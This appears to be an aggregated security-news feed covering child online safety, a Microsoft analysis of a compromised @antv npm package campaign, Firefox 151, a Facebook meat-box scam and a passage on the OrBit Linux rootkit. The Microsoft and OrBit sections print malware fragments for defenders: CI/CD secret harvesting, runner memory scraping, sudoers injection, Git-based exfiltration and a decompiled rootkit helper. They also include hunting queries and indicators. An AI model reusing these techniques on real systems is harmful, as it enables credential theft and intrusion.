A damaging new report from Ofcom, the UK’s communications regulator, has delivered a stark verdict: TikTok and YouTube’s content feeds are “not safe enough” for children. This isn’t just another regulatory slap on the wrist. Ofcom is putting out a wake-up call for anyone working in cybersecurity, threat intelligence, and online safety.

In its own words:

“Notably, TikTok and YouTube failed to commit to any significant changes to reduce harmful content being served to children, maintaining their feeds are already safe for children.”

On the positive side, Snap, Meta, and Roblox agreed to adopt further safety measures to protect children from online grooming and “stranger danger.”

The BBC reports that an Ofcom survey found 84% of children aged 8 to 12 were still using at least one major service with a minimum age of 13. We reported earlier about how easy it was to fool some of the age verification methods. Researchers using under-13 accounts also reported encountering sexual content and offensive language shortly after entering specific Roblox games.

Speaking of Roblox, The Guardian reports that US advocacy groups have formally requested the Federal Trade Commission (FTC) investigate Roblox for what they call “unfair and deceptive” practices. The complaint focuses on:

• In-game purchases pressuring children to spend money
• Chat functionality exposing children to strangers
• Features designed to maximize engagement, which critics argue may be addictive

Drew Benvie, CEO of Battenhall and founder of youth safety nonprofit Raise, noted:

 “Although Roblox is implementing new age-based safety measures, young players are adept at circumventing these protections.”

The cybersecurity point of view

What keeps cybersecurity researchers up at night is another angle to this problem. Many proposed age assurance solutions require users to hand over government IDs or biometric selfie data. We already talked about this in our blog, Age verification: Child protection or privacy risk?

Age verification systems create massive data collection opportunities that become prime targets for:

• Data breaches exposing sensitive personally identifiable information (PII)
• Identity theft facilitated by centralized ID databases
• Biometric data theft, which cannot be changed like passwords
• Malware and scams targeting users on less-secure platforms

When restrictions push young users toward smaller or less secure sites, they encounter:

• No basic safety protections
• Higher exposure to malware
• Increased phishing and scam risks
• Unmoderated harmful content

This is exactly what we see in threat intelligence: As defenders secure one vector, cybercriminals adapt and move elsewhere.

Safer systems beat stricter age gates

Protecting children should focus on building safer digital experiences overall. This is the only viable path forward because:

• Stronger moderation actually removes harmful content rather than just blocking access
• Safer recommendation systems prevent algorithmic amplification of harmful content
• Better platform accountability means companies can’t prioritize engagement over safety
• Avoiding invasive data collection prevents creating massive honeypots for attackers

As someone who analyzes malware and threats daily, I can tell you: security through obscurity (age gates) doesn’t work. Security through robust system design (moderation, safer algorithms, accountability) does.

Scammers don’t need to hack you. They just need you to click once. 

Malwarebytes Identity Theft Protection catches suspicious activity before it becomes a problem.

Microsoft has identified an active supply chain attack targeting the @antv node package manager (npm) package ecosystem. A threat actor compromised an @antv maintainer account and published malicious versions of widely used data-visualization packages, resulting in cascading downstream impact.

The compromise propagated through dependency chains into libraries like echarts-for-react (which has more than 1 million weekly downloads), expanding the blast radius into CI/CD pipelines and cloud workloads across the ecosystem. The malicious payload—a ~499 KB obfuscated JavaScript file—runs silently during npm install and is purpose-built to steal credentials from GitHub Actions environments.

Key capabilities observed in the payload include multi-platform credential theft (GitHub, Amazon Web Services, HashiCorp Vault, npm, Kubernetes, 1Password), GitHub Action Runner process memory scraping, privilege escalation, dual-channel data exfiltration, and Supply chain Levels for Software Artifacts (SLSA) provenance forgery. These capabilities suggest a deliberate effort to evade analysis and an apparent focus on CI/CD environments.

The authors of the antv account have also since confirmed in a ticket on the repo that the situation is now resolved.

Attack chain overview

The @antv organization maintains charting libraries (G2, G6) embedded across dashboards and applications. The attack proceeds through:

• Maintainer account compromise and publication of malicious @antv package versions
• Downstream dependency amplification (echarts-for-react, size-sensor, and others)
• Automatic payload execution through a preinstall hook during npm install
• Execution chain: node → shell → bun → payload (Bun runtime installed if absent)

Technical analysis

The payload replaces the legitimate index.js with a single-line obfuscated script.

Obfuscation

• Layer 1: 1,732 Base64-encoded strings in a rotated array, decoded through lookup function with the shuffle key 0xa31de
• Layer 2: Critical strings such as command-and-control (C2) domain and env var names are encrypted with a custom PBKDF2 and SHA-256 cipher, which is decrypted at runtime.
• Environment gating: The payload exits immediately if it’s not running on GitHub Actions on Linux
• Branch avoidance: Skips the main, master, dependabot/, renovate/, and gh-pages when using Git API exfiltration

// Layer 1: 1,732 strings in rotated array with base64 decode
(function(_0x44be0e, _0x3ff020){
    // Array shuffle IIFE with key 0xa31de
    _0x335af4['push'](_0x335af4['shift']());
})(_0x71ec, 0xa31de));
 
// Layer 2: PBKDF2+SHA256 runtime decryption for critical strings
var e6 = "a8269c01069452afb8a54de904e6419578d155fdbdb9e566bab8576a4266b61e";
var t6 = "7f44e4ba6f6a71bd0f789e7f83bd3104";
var u5 = new du(e6, t6);  // PBKDF2 cipher instance
globalThis["f2959c600"] = function(s) { return u5.decode(s); };
 
// Environment gate - exits if not GitHub Actions on Linux
this['isGitHubActions'] = process.env[f2959c600('68zz23c6NGR9...')]  === 'true';
this['isLinuxRunner']   = process.env[f2959c600('NhUrwwYEwYIJ...')] === 'Linux';

Credential theft

The payload targets secrets across six platforms:

• GitHub: Extracts GITHUB_TOKEN, scans for Personal Access Tokens (gh[op]_) and installation tokens (ghs_), validates through /user API, and enumerates repo and org secrets.
• Amazon Web Services(AWS): Queries Instance Metadata Service (169.254.169[.]254), Elastic Container Service metadata (169.254.170[.]2), reads .aws/ files, harvests env vars, and then calls SecretsManager across all regions.
• HashiCorp Vault: Searches 12+ token paths (/var/run/secrets/vault/token, ~/.vault-token, and others) and connects to a local Vault at 127.0.0[.]1:8200.
• npm: Validates tokens using /-/whoami, exchanges OpenID Connect (OIDC) tokens for publish access, and enumerates packages
• Kubernetes: Reads service account tokens and enumerates namespace secrets
• 1Password: Interacts with command-line interface (CLI) and attempts master password extraction with two-factor authentication (2FA) bypass

// AWS Secrets Manager enumeration
'secretsmanager:ListSecrets'
'secretsmanager:GetSecretValue('
 
// Vault token paths searched (12+ locations)
'/var/run/secrets/vault/token'
'/.vault-token'
'/home/runner/.vault-token'
'/root/.vault-token'
'/etc/vault/token'
 
// GitHub API secret enumeration
'/actions/secrets?per_page=100'
'/actions/organization-secrets?per_page=100'

Runner memory scraping

The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following:

// Locates Runner.Worker PID via /proc
'findRunnerWorkerPIDLinux'
// Scans /proc//cmdline for "Runner.Worker"
 
// Extracts secrets from process memory
tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u

This activity bypasses normal secret masking by reading secrets directly from runner process memory.

Privilege escalation

• Injects sudoers rule through bind mount: echo ‘runner ALL=(ALL) NOPASSWD:ALL’ > /mnt/runner
• Modifies /etc/hosts for DNS redirection

// Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt
echo 'runner ALL=(ALL) NOPASSWD:ALL' > 
 && chmod 0440 /mnt/runner
 
// DNS manipulation
sudo sh -c "echo '127.0.0.1 ' >> /etc/hosts"
 
// Validates sudo access before operations
sudo -n true

Exfiltration

Dual-channel exfiltration:

• Primary: HTTPS to encrypted C2 domain (port 443) with DNS pre-check and health probe
• Fallback: Git Data API — Creates blobs, trees, or commits in victim repositories on non-protected branches
• Tertiary: Creates public repos under victim accounts with reversed description (“niagA oG eW ereH :duluH-iahS”); more than 2,200 of these repos have been observed as of this writing

// Primary: HTTPS C2 with encrypted domain (port 443)
let config = {
    'domain': f2959c600('bXVunP4+izfR/cOx8zhW/fw8v6xFc4cvjYgGdbEE'),
    'port': 0x1bb,  // 443
    'path': f2959c600('5WA4NOQUD/n/mNx/cqL4gSVQrTrwV+RBKO7TXeTIk3fFBUt+2arGDjc='),
    'dry_run': false
};
 
// Fallback: Git Data API - creates blobs/trees/commits in victim repos
await j(token, '/repos/' + owner + '/' + repo + '/git/blobs',
        {'method': 'POST', 'body': JSON.stringify(stolen_data)});
'/git/trees'
'/git/commits'
 
// Branch filter - avoids protected branches to evade detection
Dw = ['dependabot/', 'renovate/', 'gh-pages', 'docs/',
      'copilot/', 'master', 'main'];

Propagation and persistence

• Enumerates /user/repos and /user/orgs to spread into additional repositories
• Installs Bun runtime, executes second-stage payload using bun run .claude/
• Deploys token monitor for ongoing credential capture
• Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate

Impact and blast radius

• Direct compromise of @antv packages with broad ecosystem adoption
• Amplification through downstream dependencies into thousands of projects
• Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access
• SLSA provenance forgery erodes trust in supply chain attestation frameworks

How GitHub took action to prevent further harm

Upon learning of the attack, GitHub acted immediately to limit further damage. It removed 640 malicious packages and invalidated 61,274 npm granular access tokens with write permissions and 2FA bypass, preventing leaked tokens from being used in this or similar attacks. GitHub also published advisories relevant to this malware campaign in the GitHub Advisory Database and alerted the community through Dependabot alerts and npm audit. It continues to monitor for additional affected packages and remove them as needed.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Review dependency trees for direct or transitive usage of affected @antv/ packages.
• Identify systems that installed or built affected package versions during the suspected exposure window.
• Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
• Disable pre- and post-installation script execution by ensuring you run npm install with --ignore-scripts.
• While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
• Rotate credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
• Audit organization and personal GitHub accounts for public repositories with the description “niagA oG eW ereH :duluH-iahS” or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.
• Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.
• Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
• Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
• Use Microsoft Defender Vulnerability Management to search for antv packages across your estate.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat, including:

• Incident investigation
• Microsoft user analysis
• Threat Intelligence 360 report based on MDTI article
• Vulnerability or supply chain impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Microsoft Defender XDR Threat analytics

https://security.microsoft.com/threatanalytics3/5879a0e7-f145-407b-bc84-1ae405a016ea/overview

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution

This query searches for Node.js and npm activity involving install lifecycle behavior and relevant package references.

DeviceProcessEvents
| where FileName in~ ("node.exe", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          AccountName

Hunt for potential compromise of through malicious npm packages

DeviceProcessEvents
| where Timestamp > ago(2d)
| where FileName in ("bun", "bun.exe")
| where ProcessCommandLine has "run index.js"

Hunt for affected dependencies in your software inventory

DeviceTvmSoftwareInventory
| where SoftwareName has "antv" or SoftwareVendor has "antv"
| project DeviceName, OSPlatform, SoftwareVendor, SoftwareName, SoftwareVersion

Hunt for suspicious outbound connection from python backdoor

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where InitiatingProcessFileName startswith "python"
| where InitiatingProcessCommandLine has "/cat.py"

Hunt for suspicious outbound activity from Node.js processes

Searches for network connections initiated by Node.js or npm processes that reference package-related paths or commands.

DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node.exe", "npm.exe", "npx.exe")
| where InitiatingProcessCommandLine has_any ("@antv", "echarts-for-react", "node_modules")
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          AccountName

Hunt for affected dependency references in developer directories

This query searches for package manifest or lockfile activity that might contain relevant dependency references.

DeviceFileEvents
| where FileName in~ ("package.json", "package-lock.json", "yarn.lock", "pnpm-lock.yaml")
| where FolderPath has_any ("node_modules", "src", "repo", "workspace")
| where AdditionalFields has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for post-compromise C2 activity

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl has "t.m-kosche.com"

Shai-Hulud npm supply-chain indicator observed inside a Kubernetes container

CloudProcessEvents
| where ProcessCommandLine has_any ("IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner", "niagA oG eW ereH", ":duluH-iahS", "t.m-kosche.com", "7cb42f57561c321ecb09b4552802ae0ac55b3a7a", "@antv/setup")
| project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName

Indicators of Compromise (IOC)

References

• Mini Shai-Hulud Hits @antv Ecosystem, 639 Compromised npm Package Versions

This research is provided by Microsoft Defender Security Research with contributions from Rahul Mohandas, Sumith Maniath, Ahmed Saleem Kasmani, Arvind Gowda, Sagar Patil, and members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 

The post Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft appeared first on Microsoft Security Blog.

The researcher who found it says the vulnerability could have been chained with a prompt injection to exfiltrate data.

The post Anthropic Silently Patches Claude Code Sandbox Bypass appeared first on SecurityWeek.

Mozilla has published release notes for Firefox browser version 151.0, and this update includes several genuinely meaningful privacy and security improvements.

Three changes stand out in particular:

• Stronger anti‑fingerprinting
• Broader protection for local network access
• More control over private sessions and permissions

Note that Mozilla says several Firefox 151 features are “part of a progressive roll out,” meaning they will appear for some users first and be expanded over time. So, you may not see all of them immediately.

Privacy

One of the more visible additions is a new “end private session” control in Private Browsing Mode. Instead of closing every private window to clear your traces, you now get a dedicated fire‑icon button next to the address bar that wipes the current private session’s data and immediately starts a fresh one.

Under the hood, this clears the usual private browsing artifacts for that session, including history, cookies, cached files, and other site data that would normally disappear only when the last private window closes.

For people who routinely mix normal and private windows, this is safer and less error‑prone than hunting down every private tab before you walk away from the machine.

Firefox 151 also tightens its defenses against browser fingerprinting in the default “Standard” Enhanced Tracking Protection (ETP) mode. Mozilla says Firefox now limits the amount of device and browser information exposed to websites in a way that reduces the number of uniquely identifiable users by about 14% overall, and by roughly 49% on macOS.

This makes it harder for trackers to pick you out of the crowd, especially on platforms with fewer users to begin with (like certain macOS configurations). This reduces the privacy risk surface by default, which makes it harder for phishing and landing pages that redirect visitors to “categorize” you.

Another important change is Firefox’s “local network access restrictions,” which are now rolling out to all users, not just those who turned Enhanced Tracking Protection to Strict.

This means that when a website wants to communicate with devices on your local network, or with apps and services running on your machine, Firefox now asks for permission first. Chrome and Edge have been rolling out similar permission prompts.

Security

Firefox 151 also quietly fixes several security vulnerabilities.

The most notable example is CVE‑2026‑8953, a sandbox escape due to a use‑after‑free in the Disability Access APIs component. While there are currently no reports of in‑the‑wild exploitation for this specific bug at the time of writing, this is the kind of bug cybercriminals love.

A use-after-free (UAF) is a software memory vulnerability where a program attempts to access a memory location after it has been freed. If the program fails to clear the pointer to that freed memory, attackers can manipulate the error to crash the system or execute arbitrary code. A memory corruption leading to a sandbox escape is exactly the kind of link attackers want to complete a browser exploit chain.

How to update

If you’re running Firefox in a home or small‑office environment, we recommend updating to Firefox 151 as soon as possible to get the fingerprinting protections, local network access prompts, and security patches.

To update Firefox:

• Open Firefox
• Click the menu (three stacked lines) in the upper-right corner
• Go to Help > About Firefox
• Firefox will automatically check for updates and begin downloading them
• Restart the browser when prompted to complete the update

Once your Firefox browser has been updated, it will show a green checkmark along with the message: “Firefox is up to date.”

Let’s face it, an incognito window can only do so much. 
 
Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance. 

Unit 42 analyzes TamperedChef malware clusters that use trojanized productivity apps and malvertising to deliver stealthy payloads to targets.

The post Tracking TamperedChef Clusters via Certificate and Code Reuse appeared first on Unit 42.

Sometimes you spot posts on social media that make you wonder if any moderation takes place at all.

Which is concerning, because two–thirds of all online shopping scams now start on Facebook and Instagram. Online shopping scams are alarmingly common and have become one of the most frequently reported scam types in Australia. The Dutch police have also warned specifically about fake ads promising steep discounts.

Apparently, and this is an issue we’ve flagged before, social media platforms could stop scams, but they don’t because it hurts their revenue.

The Aldi meat box scam

This Facebook post immediately rattled my cage:

This promotion is not from Aldi and is not endorsed by the company. A random account, which may be compromised or completely fake, posts:

“My son works at Aldi and told me about something almost nobody knows. To be honest, I thought he was joking at first. If you’re over 40, you can get a meat box from Aldi for under $10. Sounds crazy, but it actually worked. They’re clearing out excess stock and, instead of throwing it away, they’re basically letting people have it for next to nothing. All I did was fill out a short form , I left the link in the comments in case it’s useful to anyone. I signed up for my husband (he’s 59 and loves a good steak), and when the box arrived, he opened it like it was his birthday. Everything looked fresh, neatly packed, and honestly there was more inside than we expected. It took me about a minute to fill out the form. If you’re over 40, definitely give it a go , worst case you lose a minute, best case you get a great box of meat almost for free.”

Scam or legit? Scam Guard knows.

TRY IT NOW

There are several red flags here. Malwarebytes Scam Guard flagged:

• Unusual offer: Promises of high-value products (“meat box from Aldi for under $10”) for an extremely low price are classic signs of scams, especially when they leverage well-known brands.
• Anecdotal story: The post uses a personal story (“My son works at Aldi…”) to appear trustworthy and relatable, a common technique in social engineering.
• Age restriction: Arbitrarily targeting people over 40 is a psychological trick to make the offer feel exclusive and relevant.
• External link: The most common tactic is to provide a link in the comments rather than in the main post to avoid automatic detection by the platform.
• Urgency and simplicity: Encourages quick action with phrases like “took me about a minute,” downplaying any possible risk.

As it turns out, the possible risk, or “worst case” as the Facebook post calls it, is a lot worse than losing a minute of your time.

The link was posted as the first comment and used the link shortening service cutt[.]ly (and here’s why you should beware of those):

The first redirect sent me to a website where my device was fingerprinted using an embedded JavaScript before redirecting me to https://gifts-survey[.]life/click?key={identifier}, a site designed to mimic the Aldi website. I had my VPN set to the US.

The scam page immediately creates urgency with messages like “only 1 spot left” and “you only have 2 minutes to complete the survey,” trying to stop visitors from thinking things through.

The survey itself only asks basic questions, so there wasn’t much harm in clicking through it on my virtual machine.

As a reward, I got to pick three out of nine boxes to win a prize. I’m happy to report that I “aced” that test.

So, I was forwarded to the scammers’ real goal. On the domain hyperbargainsflow[.]shop, visitors are prompted to enter payment details for their discounted meat box, plus an optional upsell for faster delivery.

The final page asks victims to hand over personal details, including their full name, contact information, and home address, along with payment details for the fake “delivery” fee.

The site also uses tricks like more than 1,000 fake 5-star ratings and attempts to auto-complete and auto-submit the form if fields are detected as pre-populated. Saves you the trouble of submitting all your data yourself. Isn’t that nice of them?

We found that similar campaigns have targeted Woolworths customers in South Africa and Australia using fake butcher profiles, and the Aldi angle has appeared in other countries as well.

How to stay safe

If a post promises a box of premium meat for the price of a sandwich, assume it is a scam until you can prove otherwise.

The same simple checks will help you avoid this Aldi meat box scam and the next look‑alike campaign that pops up tomorrow.

• Sometimes scrolling past the enthusiastic, fake comments will reveal what real users are saying:

• You can also help slow these scams down by reporting them. On Facebook, click the three-dot menu on the post and choose Report post > Scam, fraud or false information.
• If a deal claims to be “known only by insiders” or “almost nobody knows this,” treat it as a red flag, not a perk. Real retailers advertise widely and on their own accounts. They don’t hide genuine promotions in badly written Facebook posts from throwaway accounts.
• Be wary of links posted in the comments. Scammers sometimes use that tactic to avoid automated scanning and reporting on the platform.
• Check the browser address bar carefully. Scam pages can copy a brand’s logo and colors perfectly, but the domain name usually gives the game away. 
• Never enter card details, your full address, or your phone number into a site you reached via a random social post, especially if the offer feels too good to be true. If you already did, contact your bank or card issuer as soon as possible and monitor your statements.
• Secure your devices. Use an up-to-date, real-time anti-malware solution with web protection. Malwarebytes blocks connections to unsafe sites like these.

Pro tip: Malwarebytes Scam Guard recognized the Facebook post as a scam and could have saved somebody’s day.

Let’s face it, an incognito window can only do so much. 
 
Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance. 

The flaw leads to denial-of-service on default configurations and to remote code execution if ASLR is disabled.

The post Exploitation of Critical NGINX Vulnerability Begins appeared first on SecurityWeek.

Last week on Malwarebytes Labs:

• Attackers replaced JDownloader installer downloads with malware
• Meta’s confusing new approach to chat privacy
• Why Malwarebytes blocks some Yahoo Mail redirects
• Fake Claude search results lure Mac users into ClickFix attack
• Deepfake sextortion forces schools to remove student photos from websites
• Texas sued Netflix over claims it secretly collected and sold users’ data
• May 2026 Patch Tuesday: no zero-days but plenty to fix
• 1 in 8 employees have sold company logins or know someone who has
• Stolen Canvas data was “returned” after hacker agreement, Instructure says
• Yarbo responds to robot flaws that could mow down their owners

Stay safe!

Introduced in 2008, the critical-severity security defect was patched this week in NGINX Plus and NGINX open source.

The post PoC Code Published for Critical NGINX Vulnerability appeared first on SecurityWeek.

In July 2022, we published the first analysis of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized.

It wasn’t. As we will show below, OrBit is a repackaged and selectively weaponized build of Medusa, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBit’s four-year evolution is not one of novel development; it’s the story of how a publicly available rootkit was forked, configured, and redeployed.

Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. We discovered two parallel lineages: a full-featured “Lineage A” build that tracks closely with the 2022 original, and a lite “Lineage B” fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive.

This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft.

Background: What is OrBit?

For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying ld.so to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally.

Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in /lib/libntpVnQE6mk/, a directory that remains invisible to standard enumeration thanks to the rootkit’s own hooks.

July 2022

We will refer to this variant as Lineage A “Full” build of OrBit.

OrBit variants through the years

In our research, we collected samples from VirusTotal. Unlike PE files, ELF files don’t include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sample’s SHA-256. At the bottom of the blog, you can find the full list of IOCs.

December 2022

The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: 40b5127c resolved the backdoor username dynamically via the getpwuid hook; ec7462c3 dropped that hook entirely and hardcodes adm1n directly in the XOR-encrypted string table. The working folder was changed to libseconf. For the most part, the later variants will use this path.

All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding.

The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username).

The rootkit’s hook surface stayed stable.

Samples From 2023

The d419a9b1 sample stands out for the operator’s choice of the install path (/lib/fuckwhitehatshome/) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports.

The 296d28eb sample is a full-featured build that uses the libseconf path and the same SSH credentials as ec7462c3. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported xread function. This is not an LD_PRELOAD hook on a system library; it’s a wrapper that calls syscall(SYS_read) directly, bypassing the rootkit’s own hooked read().

The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as Git, define their own internal
xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (SYS_read), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkit’s filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkit’s presence. The hook ensures that programs continue to function normally while the rootkit’s read interception remains active for standard libc callers.

This variant is still part of Lineage A.

00417249    uint64_t xread(int32_t fd, int64_t buf, int32_t count)

00417249    {
00417249        int32_t i = count;
0041725b        int32_t bytes_read = 0;
00417262        int32_t var_c = 0;
00417262        
004172ad        do
004172ad        {
0041728a            // SYS_read
0041728a            int32_t read_result = syscall(0, (uint64_t)fd, buf, (uint64_t)i);
0041728a            
00417296            if (read_result <= 0) 00417298 return (uint64_t)bytes_read; 00417298 004172a0 bytes_read += read_result; 004172a6 i -= read_result; 004172ad } while (i > 0);
004172ad        
004172af        return (uint64_t)bytes_read;
00417249    }

           The exported xread function in sample 296d28eb

3ba6c174 / 4203271c: Lineage B lite build

Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in /lib/libseconf/, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred.

The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both 3ba6c174 and 4203271c, the password field is missing. Each sample carries a distinct username (adm1n and b4ph0m3t0, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024.

Samples From 2024

2024 is the most diverse epoch in OrBit’s timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch.

eea274ed / a6138638: Lineage A, 0xAA key rotation

These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (Y0u4reCu6e / 1qaz@WSX3edc123), and identical hook count (54). The only structural difference is the install path: /lib64/libseconf/ versus /lib/locate/. This is probably a deliberate path rotation to evade detections anchored on the previously documented /lib/libseconf/ directory. Credentials are stored inline in the XOR-encrypted block rather than written to sshpass.txt, representing a shift in the credential storage model. Both samples also have a reduced hook for the’ execve’ function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging.

Despite sharing the same hook count, the two samples do not share the same hook set. a6138638 swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes: 

• Credential harvesting is saved in remote.txt.
•  This variant captures only SSH logins, not sudo sessions ([sudo] pass is missing).

The result is 52 decoded XOR strings in eea274ed versus 47 in a6138638. Both samples retain .udp, .pts, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting a6138638 was tailored for a deployment where a lighter footprint was preferred.

a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation

These samples continue the 54-export lite build lineage that first appeared in 2023 with 3ba6c174/4203271c. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (rebel, Gestuff, adm1n, respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password.

989f7eb4 is the payload extracted from the 48a68d05 dropper. It was not on VT; we uploaded it.

Samples From 2025

The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkit’s return to the 0xA2 encryption key after the 2024 0xAA experiment.

Two distinct rootkit .so builds are present in 2025, both Lineage A:

